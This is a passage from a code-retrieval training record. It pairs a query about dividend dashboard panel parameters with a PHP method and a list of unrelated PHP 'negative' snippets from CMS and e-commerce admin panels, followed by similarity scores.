valores\n\t\t\t* que serão usados para formarem os parametros, indices e valores\n\t\t\t*/\n\t\t\tunset($this->_separetor[1], $this->_separetor[2]);\n\t\t\t\n\t\t\t/**\n\t\t\t* Caso o ultimo item do $this->_separetor seja vazio\n\t\t\t* o mesmo é removido\n\t\t\t*/\n\t\t\tif ( end($this->_separetor) == null ) {\n\t\t\t\tarray_pop($this->_separetor);\n\t\t\t}\n\n\t\t\t\n\t\t\t/**\n\t\t\t* Se a $this->_separetor estivar vazia,\n\t\t\t* então os parametros serão definidos como vazios\n\t\t\t*/\n\t\t\tif ( !empty($this->_separetor) ) {\n\t\t\t\t/**\n\t\t\t\t* Percorre o array $this->_separetor, verificando os indices\n\t\t\t\t* se for impar, então seu valor será o indice do parametro.\n\t\t\t\t* Se for par, seu valor será o valor do paremetro\n\t\t\t\t*/\n\t\t\t\tforeach ($this->_separetor as $key => $value) {\n\t\t\t\t\tif ($key % 2 == 0) {\n\t\t\t\t\t\t$param_value[] = $value;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$param_indice[] = $value;\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$param_value = array();\n\t\t\t\t$param_indice = array();\n\t\t\t}\n\n\n\t\t\t/**\n\t\t\t* Verifica se os indices e valores dos parametros\n\t\t\t* não são vazios e possuem a mesma quantidade\n\t\t\t* Então vaz um \"array_combine\" para juntar os dois arrays\n\t\t\t* formando um indice->valor para o parametro\n\t\t\t*/\n\t\t\tif ( !empty($param_indice) \n\t\t\t\t&& !empty($param_value)\n\t\t\t\t&& count($param_indice)\n\t\t\t\t== count($param_value)\n\t\t\t) {\n\t\t\t\t$this->_params = array_combine($param_indice, $param_value);\n\t\t\t} else {\n\t\t\t\t$this->_params = array();\n\t\t\t}\n\t\t}", "function print_panel() {\t\n\t\tif ( isset($_REQUEST['saved']) && $_REQUEST['saved'] ) {\n\t\t\t$this->print_saved_message();\n\t\t}\n\t\tif ( isset($_REQUEST['reset']) && $_REQUEST['reset'] ) {\n\t\t\t$this->print_reset_message();\n\t\t}\n\t\n\t\t$this->print_heading();\n\t\t$this->print_options();\n\t\t$this->print_footer();\n\t}", "public function getPageData()\n {\n $pagedata = parent::getPageData();\n $pagedata['title'] = 'ListControllerWithTabsSample';\n $pagedata['icon'] = 'fas fa-cubes';\n $pagedata['menu'] = 'SamplePlugin';\n\n return $pagedata;\n }", "function gotravel_mikado_add_admin_panel($attributes) {\n\t\t$title = '';\n\t\t$name = '';\n\t\t$hidden_property = '';\n\t\t$hidden_value = '';\n\t\t$hidden_values = array();\n\t\t$page = '';\n\n\t\textract($attributes);\n\n\t\tif(isset($page) && !empty($title) && !empty($name) && gotravel_mikado_framework()->mkdOptions->adminPageExists($page)) {\n\t\t\t$admin_page = gotravel_mikado_framework()->mkdOptions->getAdminPage($page);\n\n\t\t\tif(is_object($admin_page)) {\n\t\t\t\t$panel = new GoTravelMikadoPanel($title, $name, $hidden_property, $hidden_value, $hidden_values);\n\t\t\t\t$admin_page->addChild($name, $panel);\n\n\t\t\t\treturn $panel;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}", "public function customize_pane_settings()\n {\n }", "private function pagedata_preprocessor()\r\n {/*{{{*/\r\n $items_st = $this->items_ordered_struct;\r\n // the number of items per page\r\n $this->pagedata['limit'] = isset(self::$preferences->item->itemsperpage) \r\n ? self::$preferences->item->itemsperpage : 10;\r\n if(self::$is_admin_panel)\r\n $this->pagedata['limit'] = isset(self::$preferences->item->bitemsperpage) \r\n ? self::$preferences->item->bitemsperpage : 10;\r\n $this->pagedata['viewpage'] = isset(self::$preferences->item->page) \r\n ? self::$preferences->item->page : '';\r\n // How many adjacent pages should be shown on each side\r\n $this->pagedata['adjacents'] = 3;\r\n // last page\r\n $this->pagedata['lastpage'] = (int)(ceil(count($items_st) / $this->pagedata['limit']));\r\n // handle get\r\n if(isset(self::$input['page']) && self::$input['page'] <= 0)\r\n self::$input['page'] = 1;\r\n elseif(isset(self::$input['page']) && self::$input['page'] > $this->pagedata['lastpage'])\r\n self::$input['page'] = $this->pagedata['lastpage'];\r\n\t $this->pagedata['page'] = !empty(self::$input['page']) ? (int)self::$input['page'] : 1;\r\n // first page to display\r\n $this->pagedata['start'] = !empty($this->pagedata['page']) \r\n ? (($this->pagedata['page'] - 1) * $this->pagedata['limit']) : 0;\r\n // next page\r\n $this->pagedata['next'] = $this->pagedata['page'] + 1;\r\n\r\n // just for counting of rows\r\n $act_row = $this->pagedata['start'];\r\n $index = $this->pagedata['start'] + $this->pagedata['limit'];\r\n\r\n // active item keys\r\n\t\t$this->pagedata['itemkeys'] = array();\r\n while(isset($items_st[$act_row]) && $act_row < $index)\r\n {\r\n $this->pagedata['itemkeys'][] = $act_row;\r\n $act_row++;\r\n }\r\n\r\n // initialize jquery id\r\n $this->pagedata['jid'] = '';\r\n if(isset(self::$input['delete']))\r\n $this->pagedata['jid'] = safe_slash_html_input(self::$input['delete']);\r\n elseif(isset(self::$input['promo']))\r\n $this->pagedata['jid'] = safe_slash_html_input(self::$input['promo']);\r\n elseif(isset(self::$input['visible']))\r\n $this->pagedata['jid'] = safe_slash_html_input(self::$input['visible']);\r\n \r\n // Setup page vars to display.\r\n\t $this->pagedata['prev'] = $this->pagedata['page'] - 1;\r\n\t //$this->pagedata['next'] = $this->pagedata['page'] + 1;\r\n $this->pagedata['lpm1'] = $this->pagedata['lastpage'] - 1;\r\n\r\n // try to fix our url inside admin, remove redundant 'page' param\r\n // todo: search engine friendly URL \r\n $this->pagedata['pageurl'] = self::$properties['paths']['siteurl'].return_page_slug().'/?page=';\r\n if(self::$is_admin_panel)\r\n if(strpos(curPageURL(),'&page=')!==false)\r\n $this->pagedata['pageurl'] = reparse_url(parse_url(curPageURL()));\r\n else\r\n $this->pagedata['pageurl'] = curPageURL().'&cat='.ImCategory::$current_category.'&page=';\r\n\r\n }", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) {\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "function getParams() {\r\n global $id;\r\n global $mode;\r\n global $view_mode;\r\n global $edit_mode;\r\n global $tab;\r\n if (isset($id)) {\r\n $this->id=$id;\r\n }\r\n if (isset($mode)) {\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "function orgmaps_admin_panel (){\n\n\tif (function_exists('add_options_page')) {\n\t\t// adds an option page that is printed by orgmaps_admin_panel_setup()\n\t\tadd_options_page (\"Organisation Maps\", \"Org Maps\", 'manage_options', basename(__FILE__), 'orgmaps_admin_panel_setup');\n\t}\n\t\n}", "public function parameters();", "public function parameters();", "function siteorigin_panels_render( $post_id = false, $panels_data = false ) {\n\n\tif( empty($post_id) ) $post_id = get_the_ID();\n\n\tglobal $siteorigin_panels_current_post;\n\t$old_current_post = $siteorigin_panels_current_post;\n\t$siteorigin_panels_current_post = $post_id;\n\n\t// Try get the cached panel from in memory cache.\n\tglobal $siteorigin_panels_cache;\n\tif(!empty($siteorigin_panels_cache) && !empty($siteorigin_panels_cache[$post_id]))\n\t\treturn $siteorigin_panels_cache[$post_id];\n\n\tif(empty($panels_data)){\n\t\tif(post_password_required($post_id)) return false;\n\t\t$panels_data = get_post_meta($post_id, 'panels_data', true);\n\t}\n\n\t$panels_data = apply_filters( 'siteorigin_panels_data', $panels_data, $post_id );\n\tif( empty( $panels_data ) || empty( $panels_data['grids'] ) ) return '';\n\n\t// Create the skeleton of the page\n\t$layout = array();\n\tif( !empty( $panels_data['section'] ) && is_array( $panels_data['section'] ) ) {\n\t\tforeach ($panels_data['section'] as $si => $sect ) {\n\t\t\t$layout[intval($si)] = array();\n\t\t}\n\t}\n\n\tif( !empty( $panels_data['grids'] ) && is_array( $panels_data['grids'] ) ) {\n\t\tforeach ( $panels_data['grids'] as $grid ) {\n\t\t\t$layout[intval($grid['section'])][] = array();\n\t\t}\n\t}\n\n\tif( !empty( $panels_data['grid_cells'] ) && is_array( $panels_data['grid_cells'] ) ) {\n\t\tforeach ( $panels_data['grid_cells'] as $cell ) {\n\t\t\t$layout[intval($cell['section'])][intval($cell['grid'])][] = array(\n\t\t\t\t'weight' => $cell['weight'],\n\t\t\t\t'widgets' => array()\n\t\t\t);\n\t\t}\n\t}\n\n\tif( !empty($panels_data['widgets']) && is_array($panels_data['widgets']) ){\n\t\tforeach ( $panels_data['widgets'] as $widget ) {\n\t\t\t$layout[intval( $widget['info']['section'] )][intval( $widget['info']['grid'] )][intval( $widget['info']['cell'] )]['widgets'][] = $widget;\n\t\t}\n\t}\n\n\tob_start();\n\n\tforeach ( $layout as $si => $section ) {\n\t\techo '<div class=\"section '.$panels_data['section'][$si]['class'].' section-'.($si+1).'\">';\n\n\t\tforeach ( $layout[$si] as $gi => $grid ) {\n\t\t\techo '<div class=\"grid grid-'.($gi+1).'\">';\n\n\t\t\tforeach ( $layout[$si][$gi] as $ci => $cell ) {\n\t\t\t\techo '<div class=\"column '.$cell['weight'].' column-'.($ci+1).'\">';\n\n\t\t\t\tforeach ( $layout[$si][$gi][$ci]['widgets'] as $pi => $widget ) {\n\t\t\t\t\t$data = $widget;\n\t\t\t\t\tunset( $data['info'] );\n\n\t\t\t\t\tsiteorigin_panels_the_widget( \n\t\t\t\t\t\t$widget['info']['class'], //clase del widget (tipo)\n\t\t\t\t\t\t$data,\t// info instance\n\t\t\t\t\t\t$si,\t// section\n\t\t\t\t\t\t$gi,\t// gridd\n\t\t\t\t\t\t$ci,\t// cell\n\t\t\t\t\t\t$pi,\t// panel nb\n\t\t\t\t\t\t$pi == count( $widgets ) - 1, // true si es el ultimo\n\t\t\t\t\t\t$post_id \n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\techo '</div>'; // close cell\n\t\t\t}\n\n\t\t\techo '</div>'; // close grid\n\t\t} // end foreach grids\n\t\techo '</div>'; // close section\n\t} // end foreach section\n\n\t$html = ob_get_clean();\n\n\t// Reset the current post\n\t$siteorigin_panels_current_post = $old_current_post;\n\n\treturn apply_filters( 'siteorigin_panels_render', $html, $post_id, !empty($post) ? $post : null );\n}", "public function get_worldstrides_form() {\n\t\t\n\t}", "function renderLayout($def) {\n $str = \"\";\n if(isset($def['Display'])){\n $str .= \"display:\".$def['Display'].\";\";\n }\n if(isset($def['Position'])){\n $str .= \"position:\".$def['Position'].\";\";\n }\n if(isset($def['Top'])){\n $str .= \"top:\".$def['Top'].\";\";\n }\n if(isset($def['Bottom'])){\n $str .= \"bottom:\".$def['Bottom'].\";\";\n } \n if(isset($def['Left'])){\n $str .= \"left:\".$def['left'].\";\";\n }\n if(isset($def['Right'])){\n $str .= \"right:\".$def['Right'].\";\";\n }\n if(isset($def['Width'])){\n $str .= \"width:\".$def['Width'].\";\";\n }\n if(isset($def['Height'])){\n $str .= \"height:\".$def['Height'].\";\";\n }\n return $str;\n }", "function latto_panels_default_style_render_region($vars) {\n $output = '';\n $output .= implode('', $vars['panes']);\n return $output;\n}", "public function SetPanelSettings()\n\t{\n\t\t$GLOBALS['ISC_CLASS_PRODUCT'] = GetClass('ISC_PRODUCT');\n\t\t$id = $GLOBALS['ISC_CLASS_PRODUCT']->GetProductId();\n\t\t// How many tags do we have?\n\t\t$query = \"\n\t\t\tSELECT p.* , pi.imagefilethumb\n\t\t\tFROM isc_products p\n\t\t\tINNER JOIN isc_product_associations pa ON ( \n\t\t\t\tpa.assocbaseid = \" . $id . \" AND pa.assocprodid = p.productid\n\t\t\t) \n\t\t\tINNER JOIN isc_product_images pi ON ( \n\t\t\t\tpi.imageprodid = pa.assocprodid AND pi.imageisthumb = 1\n\t\t\t) \n\t\t\";\n\t\t$result = $GLOBALS['ISC_CLASS_DB']->Query($query);\n\t\t\n\t\t$GLOBALS['SNIPPETS']['ProductMadeByList'] = '';\n\t\twhile($row = $GLOBALS['ISC_CLASS_DB']->Fetch($result)) {\n\t\t\t$GLOBALS['ComponentImg'] = GetConfig('ShopPath') . '/' . GetConfig('ImageDirectory') . '/' . $row['imagefilethumb'];\n\t\t\t$GLOBALS['ComponentName'] = $row['prodname'];\n\t\t\t$GLOBALS['ComponentLink'] = ProdLink($row['prodname']);\n\t\t\t$GLOBALS['SNIPPETS']['ProductMadeByList'] .= $GLOBALS['ISC_CLASS_TEMPLATE']->GetSnippet('ProductMadeByItem');\n\t\t}\n\t\t\n\t\tif($GLOBALS['SNIPPETS']['ProductMadeByList'] == '') {\n\t\t\t$this->DontDisplay = true;\n\t\t}\n\t}", "private function build_params() {\n\n\t\t\t$this->per_page = $this->request->get_param( 'per_page' ) ? $this->request->get_param( 'per_page' ) : (int) get_option( 'posts_per_page' );\n\t\t\t$this->page = $this->request->get_param( 'page' ) ? $this->request->get_param( 'page' ) : 1;\n\t\t}", "public function getPanelContent()\n {\n $sqlLogs = $this->getLogs();\n\n // Add table uses summary\n // Sort table uses\n $idTables = array();\n $counts = array();\n $i = 0;\n foreach(self::$tables as $table => $nbUse)\n {\n $counts[$table] = $nbUse;\n $idTables[$table] = $i++;\n }\n \n $tableSummary = array();\n \n if(is_array($counts))\n {\n arsort($counts, SORT_NUMERIC);\n \n // Build summary of table uses\n foreach($counts as $table => $nbUse)\n {\n $tableSummary[] = sprintf('<div style=\"float: left; margin-right: 10px; line-height: 15px;\"><a href=\"#\" onclick=\"jQuery(\\'#sfWebDebugBarCancelLink\\').show(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li\\').hide(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li.info\\').show(); jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li.table-'.$table.'\\').show(); return false;\" title=\"Only display queries on this table\"><span style=\"color: blue;\"> %s</span> (%s)</a></div>', $table, $nbUse);\n }\n }\n\n // Add color legend\n $legend = '<div style=\"float: left; font-weight: bold; padding: 2px; margin: 2px 2px 2px 0;\">SQL status legend :</div>';\n foreach($this->colors as $min => $content)\n {\n $legend .= '<div style=\"background-color: '.$content[0].'; color: white; float: left; margin: 2px; padding: 2px;\">&gt;= '.$min.' queries ('.$content[1].')</div>';\n }\n\n $liStyle= ' style=\"line-height: 120% !important;\n padding: 5px 0px !important;\n border-bottom: 1px solid silver !important;\n list-style-type: decimal !important;\n margin-bottom:0\"';\n\n $liInfoStyle= ' style=\"line-height: 120% !important;\n padding: 5px 0px !important;\n border-bottom: 1px solid silver !important;\n list-style-type: decimal !important;\n background: #CCC; text-indent: 10px;\n text-shadow:1px 1px 1px rgba(0, 0, 0, 0.2);\"';\n\n\n\n // Build information and query rows\n $queries = array();\n foreach($sqlLogs as $i => $log)\n {\n $table = $log['table'];\n\n $message = '';\n if(array_key_exists($i, $this->info))\n {\n foreach($this->info[$i] as $mess)\n {\n $message .= '<li'.$liInfoStyle.' class=\"info\" style=\"\"><b>'.$mess['message'].' queries:</b></li>';\n }\n }\n \n $link = '';\n if(strstr($log['log'],'SELECT') > 0)\n {\n $link = '<a href=\"#\" style=\"color: blue;\" onclick=\"jQuery(this).parent().children(\\'span.select\\').show(); jQuery(this).hide(); return false;\">(View select content)</a>';\n }\n $message .= '<li'.$liStyle.' class=\"table-'.$table.' sfWebDebugDatabaseQuery\">'.$log['log'].' '.$link.'</li>';\n $queries[] = $message;\n }\n\n return '\n <div id=\"sfWebDebugAdvancedDatabaseLogs\">\n <div style=\"overflow: auto; margin-bottom: 10px;\">'.$legend.'</div>\n <b>Table call summary (click on a table to filter queries)</b>\n <div style=\"overflow: auto; margin-bottom: 10px;\">'.implode(\"\\n\", $tableSummary).'</div>\n <b>SQL queries <span id=\"sfWebDebugBarCancelLink\" style=\"display: none;\">(<a href=\"#\" style=\"color: blue\" onclick=\"jQuery(\\'#sfWebDebugAdvancedDatabaseLogs ol li\\').show(); jQuery(this).parent().hide(); return false;\">Cancel table filters</a>)</a></span></b>\n <ol style=\"margin-left: 20px\">'.implode(\"\\n\", $queries).'</ol>\n </div>\n ';\n }", "protected function getConfigForm()\n {\n // toDo: Add config to choose items showed by viewedItems\n return array(\n 'form' => array(\n 'legend' => array(\n 'title' => $this->l('Settings'),\n 'icon' => 'icon-cogs',\n ),\n 'input' => array(\n array(\n 'type' => 'switch',\n 'label' => $this->l('Live mode'),\n 'name' => 'CAPTURELEADSXAVIER_LIVE_MODE',\n 'is_bool' => true,\n 'desc' => $this->l('Use this module in live mode'),\n 'values' => array(\n array(\n 'id' => 'active_on',\n 'value' => true,\n 'label' => $this->l('Enabled')\n ),\n array(\n 'id' => 'active_off',\n 'value' => false,\n 'label' => $this->l('Disabled')\n )\n ),\n ),\n array(\n 'col' => 3,\n 'type' => 'text',\n 'prefix' => '<i class=\"icon icon-envelope\"></i>',\n 'desc' => $this->l('Enter a valid email address'),\n 'name' => 'CAPTURELEADSXAVIER_ACCOUNT_EMAIL',\n 'label' => $this->l('Email'),\n ),\n array(\n 'type' => 'password',\n 'name' => 'CAPTURELEADSXAVIER_ACCOUNT_PASSWORD',\n 'label' => $this->l('Password'),\n ),\n array(\n 'type' => 'radio',\n 'label' => $this->l('Column selector'),\n 'name' => 'CAPTURELEADSXAVIER_COL_SEL',\n 'required' => true,\n 'is_bool' => true,\n 'desc' => $this->l('Select on what column you want the module'),\n 'values' => array(\n array(\n 'id' => 'col_left',\n 'value' => \"left\",\n 'label' => $this->l('Left')\n ),\n array(\n 'id' => 'col_right',\n 'value' => \"right\",\n 'label' => $this->l('Right')\n )\n\n ),\n ),\n \n ),\n 'submit' => array(\n 'title' => $this->l('Save'),\n )\n )\n );\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n\n\n\n}", "private function _createMenuParams(){\n\t\t\treturn new YtParams(\n\t\t\t\tarray(\n\t\t\t\t\t'menutype'\t\t=> 'mainmenu',\n\t\t\t\t\t'menustyle'\t\t=> 'basic',\n\t\t\t\t\t'startlevel'\t=> 0,\n\t\t\t\t\t'endlevel'\t\t=> -1,\n\t\t\t\t\t'direction'\t\t=> 'ltr',\n\t\t\t\t\t'basepath'\t\t=> dirname(__FILE__),\n\t\t\t\t\t'cssidsuffix'\t=> ''\n\t\t\t\t)\n\t\t\t);\n\t\t}", "protected function populateParams()\n\t{\n\t\tparent::populateParams();\n\t\t$acl = ZefaniabibleHelper::getAcl();\n\t\tif (!isset($this->_data))\n\t\t\treturn;\n\t\t// Convert the parameter fields into objects.\n\t\tforeach ($this->_data as &$item)\n\t\t{\n\t\t\tif ($acl->get('core.edit.state')\n\t\t\t\t|| (bool)$item->publish)\n\t\t\t\t$item->params->set('access-view', true);\n\t\t\tif ($acl->get('core.edit'))\n\t\t\t\t$item->params->set('access-edit', true);\n\t\t\tif ($acl->get('core.delete'))\n\t\t\t\t$item->params->set('access-delete', true);\n\t\t}\n\t}", "public static function map() {\n\t\t\treturn array(\n\t\t\t\t'name' => __( 'Divider Dots', 'total' ),\n\t\t\t\t'description' => __( 'Dot Separator', 'total' ),\n\t\t\t\t'base' => 'vcex_divider_dots',\n\t\t\t\t'icon' => 'vcex-dots vcex-icon fa fa-ellipsis-h',\n\t\t\t\t'category' => wpex_get_theme_branding(),\n\t\t\t\t'params' => array(\n\t\t\t\t\t// General\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'vcex_visibility',\n\t\t\t\t\t\t'heading' => __( 'Visibility', 'total' ),\n\t\t\t\t\t\t'param_name' => 'visibility',\n\t\t\t\t\t),\n\t\t\t\t\tvcex_vc_map_add_css_animation(),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t\t'heading' => __( 'Extra class name', 'total' ),\n\t\t\t\t\t\t'param_name' => 'el_class',\n\t\t\t\t\t\t'description' => __( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'total' ),\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'vcex_text_alignments',\n\t\t\t\t\t\t'heading' => __( 'Align', 'total' ),\n\t\t\t\t\t\t'param_name' => 'align',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t\t'heading' => __( 'Count', 'total' ),\n\t\t\t\t\t\t'param_name' => 'count',\n\t\t\t\t\t\t'value' => '3',\n\t\t\t\t\t\t'admin_label' => true,\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'textfield',\n\t\t\t\t\t\t'heading' => __( 'Size', 'total' ),\n\t\t\t\t\t\t'param_name' => 'size',\n\t\t\t\t\t\t'description' => __( 'Default', 'total' ) . ': 5px',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'colorpicker',\n\t\t\t\t\t\t'heading' => __( 'Color', 'total' ),\n\t\t\t\t\t\t'param_name' => 'color',\n\t\t\t\t\t),\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'type' => 'vcex_trbl',\n\t\t\t\t\t\t'heading' => __( 'Margin', 'total' ),\n\t\t\t\t\t\t'param_name' => 'margin',\n\t\t\t\t\t),\n\t\t\t\t\t// Hidden Removed attributes\n\t\t\t\t\tarray( 'type' => 'hidden', 'param_name' => 'margin_top' ),\n\t\t\t\t\tarray( 'type' => 'hidden', 'param_name' => 'margin_bottom' ),\n\t\t\t\t),\n\t\t\t);\n\t\t}", "public function maps_settings_panel_content() {\n\t\t\t/**\n\t\t\t * @var \\WPSEO_Local_Core $wpseo_local_core;\n\t\t\t */\n\t\t\tglobal $wpseo_local_core;\n\t\t\t$api_key = $this->api_repository->get_api_key( 'browser' );\n\n\t\t\tif ( ( empty( $api_key ) ) ) {\n\t\t\t\t$base_url = get_site_url();\n\n\t\t\t\techo '<p>';\n\t\t\t\tprintf(\n\t\t\t\t/* translators: 1: HTML <a> open tag; 2: <a> close tag. */\n\t\t\t\t\tesc_html__( 'In order to use the Maps settings, you should set an API key. You can add an API key in the %1$sAPI settings tab%2$s, which allows you to change the Maps settings here.', 'yoast-local-seo' ),\n\t\t\t\t\t'<a href=\"' . esc_url( $base_url ) . '/wp-admin/admin.php?page=wpseo_local#top#api_keys\" target=\"_blank\">',\n\t\t\t\t\t'</a>'\n\t\t\t\t);\n\t\t\t\techo '</p>';\n\t\t\t}\n\n\t\t\tif ( ! empty( $api_key ) ) {\n\t\t\t\t$custom_marker = get_post_meta( $this->location_id, '_wpseo_business_location_custom_marker', true );\n\n\t\t\t\techo '<div class=\"wpseo-local-custom_marker-wrapper\">';\n\t\t\t\techo '<label class=\"textinput\" for=\"wpseo_business_location_custom_marker\">' . esc_html__( 'Custom marker', 'yoast-local-seo' ) . '</label>';\n\t\t\t\techo '<div class=\"wpseo-local-custom_marker-wrapper__content\">';\n\t\t\t\techo '<img src=\"' . esc_url( $custom_marker ) . '\" id=\"custom_marker_image_container\">';\n\t\t\t\techo '<br class=\"wpseo-local-hide-button' . ( ( empty( $custom_marker ) ) ? ' hidden' : '' ) . '\">';\n\t\t\t\techo '<button type=\"button\" class=\"set_custom_images button\" data-id=\"custom_marker\">' . esc_html__( 'Set custom marker image', 'yoast-local-seo' ) . '</button>';\n\t\t\t\techo '<br>';\n\t\t\t\techo '<a href=\"javascript:;\" id=\"remove_marker\" class=\"remove_custom_image wpseo-local-hide-button' . ( ( empty( $custom_marker ) ) ? ' hidden' : '' ) . '\" data-id=\"custom_marker\">' . esc_html__( 'Remove marker', 'yoast-local-seo' ) . '</a>';\n\t\t\t\techo '<input type=\"hidden\" id=\"hidden_custom_marker\" name=\"_wpseo_business_location_custom_marker\" value=\"' . ( ( ! empty( $custom_marker ) ) ? esc_url( $custom_marker ) : '' ) . '\">';\n\t\t\t\techo '</div> <!-- .wpseo-local-custom_marker-wrapper -->';\n\t\t\t\tif ( empty( $custom_marker ) ) {\n\t\t\t\t\techo '<p class=\"yoast-local-seo-field-desc\">' . esc_html__( 'The custom marker should be 100x100 px. If the image exceeds those dimensions it could (partially) cover the info popup.', 'yoast-local-seo' ) . '</p>';\n\t\t\t\t}\n\t\t\t\t/* translators: %s extends to Yoast Local SEO brand name */\n\t\t\t\techo '<p class=\"yoast-local-seo-field-desc\">' . sprintf( esc_html__( 'This custom marker will override the custom markers for the location category and general %s settings', 'yoast-local-seo' ), 'Yoast Local SEO' ) . '</p>';\n\t\t\t\techo '</div>';\n\t\t\t\tif ( ! empty( $custom_marker ) ) {\n\t\t\t\t\t$wpseo_local_core->check_custom_marker_size( $custom_marker );\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public function config($templatify = false)\n {\n $config = parent::config($templatify);\n\n $config['options']['class'] = $config['options']['class'] . ' model-report-item-panel';\n\n // ----------------------------------------------------------------------\n // PANEL\n // ----------------------------------------------------------------------\n $panelId = strtolower(htmlentities(\\Yii::$app->t::getModelClassName($config['model']) . $config['reportItemName'] . '-' . $config['id']));\n $config['panelId'] = $panelId;\n $this->outputJsData([\n 'panelId' => $panelId,\n 'reportItem' => ArrayHelper::getValue($config, 'reportItem.widgetConfig', []),\n 'modelName' => $config['modelName'],\n 'title' => ArrayHelper::getValue($config, 'reportItem.title', null),\n 'reportItemName' => $config['reportItemName'],\n 'apiEndpoint' => \\Yii::$app->reportsManager->apiEndpoint,\n ]);\n return $config;\n }" ]
[ "0.583635", "0.5806859", "0.57592756", "0.57310784", "0.57297343", "0.5680116", "0.5653496", "0.55759376", "0.5517511", "0.55134404", "0.5495995", "0.5480104", "0.54776883", "0.54769784", "0.5474652", "0.5470144", "0.5454228", "0.54128814", "0.5411167", "0.5397887", "0.53792375", "0.53763705", "0.5363267", "0.53623027", "0.53311163", "0.53221", "0.53221", "0.5303934", "0.52909553", "0.52893865", "0.5283951", "0.5267154", "0.52603734", "0.52583617", "0.52285075", "0.5221693", "0.52187365", "0.5195713", "0.5152207", "0.5150955", "0.5144158", "0.5136975", "0.51140934", "0.51140934", "0.51095724", "0.5104622", "0.510411", "0.5103812", "0.51015306", "0.5094361", "0.5094361", "0.5094361", "0.5094361", "0.5088341", "0.50865227", "0.5052619", "0.50497764", "0.50453854", "0.5039517", "0.5039339", "0.50346", "0.5031296", "0.50308156", "0.5010395", "0.50048363", "0.50048363", "0.50048363", "0.49993742", "0.4999358", "0.49990207", "0.49821508", "0.4968251", "0.49657425", "0.49638218", "0.49535552", "0.49482515", "0.49469167", "0.49361", "0.4932383", "0.49211568", "0.49188796", "0.49149707", "0.49145755", "0.49145755", "0.49134156", "0.49073613", "0.49073613", "0.490465", "0.49029276", "0.48968798", "0.48966253", "0.4895449", "0.48935112", "0.48900485", "0.48879302", "0.4885991", "0.48845467", "0.4884066", "0.4881621", "0.48814908", "0.48760313" ]
0.0
-1
Generate the parameters to use when render panel dividend in the dashboard view.
protected function getPositionDividendPanel(): array { $positionDividendRetentionForm = $this->form->create(PositionDividendRetentionType::class); return [ 'entity_name' => 'position_dividend', 'search_width' => '235px', 'form' => $positionDividendRetentionForm->createView(), 'fields' => [ [ 'name' => 'stock.symbol', 'label' => 'Symbol', ], [ 'name' => 'stock.market.symbol', 'label' => 'Market', ], [ 'name' => 'invested', 'render' => 'money', ], [ 'name' => 'amount', 'label' => 'Amt', ], [ 'name' => 'displayDividendYield', 'label' => 'D. Yield', ], [ 'name' => 'exDate', 'label' => 'Ex. Date', 'render' => 'date', 'date_format' => 'DD/MM/YYYY', // moment date format https://momentjs.com/docs/#/displaying/format/ ], [ 'name' => 'realDisplayDividendYield', 'label' => 'R. D. Yield', 'class' => 'js-manager-table-extra-cell-hide', ], ], 'buttons' => [ [ 'type' => 'warning', 'jsClass' => 'js-position-dividend-retention', 'icon' => 'fas fa-hand-holding-usd', ], ], 'to_pay' => [ 'entity_name' => 'to_pay_dividend', 'fields' => [ [ 'name' => 'stock.symbol', 'label' => 'Symbol', ], [ 'name' => 'toPayDate', 'label' => 'Payment Date', 'render' => 'date', 'date_format' => 'DD/MM/YYYY', // moment date format https://momentjs.com/docs/#/displaying/format/ ], [ 'name' => 'realDisplayToPayDividendYield', 'label' => 'R. To Pay', 'class' => 'js-manager-table-extra-cell-hide', ], ] ], 'coming' => [ 'entity_name' => 'coming_dividend', 'fields' => [ [ 'name' => 'stock.symbol', 'label' => 'Symbol', ], [ 'name' => 'exDate', 'label' => 'Ex Date', 'render' => 'date', 'date_format' => 'DD/MM/YYYY', // moment date format https://momentjs.com/docs/#/displaying/format/ ], [ 'name' => 'realDisplayDividendYield', 'label' => 'R. D. Yield', 'class' => 'js-manager-table-extra-cell-hide', ], ] ], ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
